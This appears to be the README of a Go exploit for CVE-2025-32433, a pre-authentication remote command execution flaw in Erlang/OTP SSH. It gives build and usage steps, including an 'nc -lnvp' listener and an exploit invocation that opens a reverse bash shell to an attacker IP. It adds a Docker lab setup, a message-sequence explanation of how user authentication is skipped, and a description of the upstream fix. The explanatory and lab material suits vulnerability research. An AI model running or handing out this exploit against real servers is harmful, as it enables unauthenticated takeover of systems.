
Go-based exploit for CVE-2025-32433
Go-based exploit for CVE-2025-32433 returning a remote bash shell.
Heavily inspired by understanding of exploit derived from ProDefense's PoC for CVE-2025-32433.
make
exploit.exeis also made available for Windows machines by the cross-compilation Makefile.
then execute the exploit binary in one of 2 ways:
Command
./exploit <target-ip> <target-port> "<command>"
NOTE: does not return the output of command
Reverse Shell
nc -lnvp <attacker-port>
./exploit <target-ip> <target-port> <attacker-ip> <attacker-port>
Using ProDefense's Dockerfile, you can set up an environment through the following:
docker build -t "cve-2025-32433:Dockerfile" .
docker run -p 2222:2222 cve-2025-32433:Dockerfile
You may then execute the exploit as in the Running the Exploit section: e.g.
nc -lnvp 4444
./exploit 127.0.0.1 2222 172.17.0.1 4444
172.17.0.1is the default IP for the Docker Host
TL;DR "The issue is caused by a flaw in the SSH protocol message handling which allows an attacker to send connection protocol messages prior to authentication,"
Typical SSH Procedure:
SSH_MSG_KEXINIT
→ SSH_MSG_KEXDH_INIT / KEX_ECDH_INIT (key exchange)
→ SSH_MSG_NEWKEYS
→ SSH_MSG_SERVICE_REQUEST ("ssh-userauth")
→ SSH_MSG_USERAUTH_REQUEST
→ SSH_MSG_USERAUTH_SUCCESS
→ SSH_MSG_CHANNEL_OPEN
→ SSH_MSG_CHANNEL_REQUEST
Exploit Procedure:
SSH_MSG_KEXINITSSH_MSG_CHANNEL_OPEN (Pre-auth)SSH_MSG_CHANNEL_REQUEST (Pre-auth) --> contains command payloadNotice that the entire USERAUTH portion is skipped in the exploit.
Relevant RFCs for SSH Messages:
RFC 4253: The Secure Shell (SSH) Transport Layer ProtocolRFC 4254: The Secure Shell (SSH) Connection Protocol

SSH_MSG_KEXINIT

SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_REQUEST

String Format (from RFC 4251: The Secure Shell (SSH) Protocol Architecture)

Padding

The following is the fix introduced to the Erlang OTP Libraries in the ssh: early RCE fix commit:

The fix introduces a new handle_msg clause that, according to its arguments, catches:
Msg: catch-all variable for any incoming SSH messages not already matched by earlier clauses (like #ssh_msg_disconnect{})#ssh{authenticated = false}: session state that matches if the connection has not yet been authenticated.The clause will not catch sessions with authenticated = true, which is attached to the session when the server receives a #ssh_msg_userauth_success{}:

which is sent after the success of any of the following authentication methods:
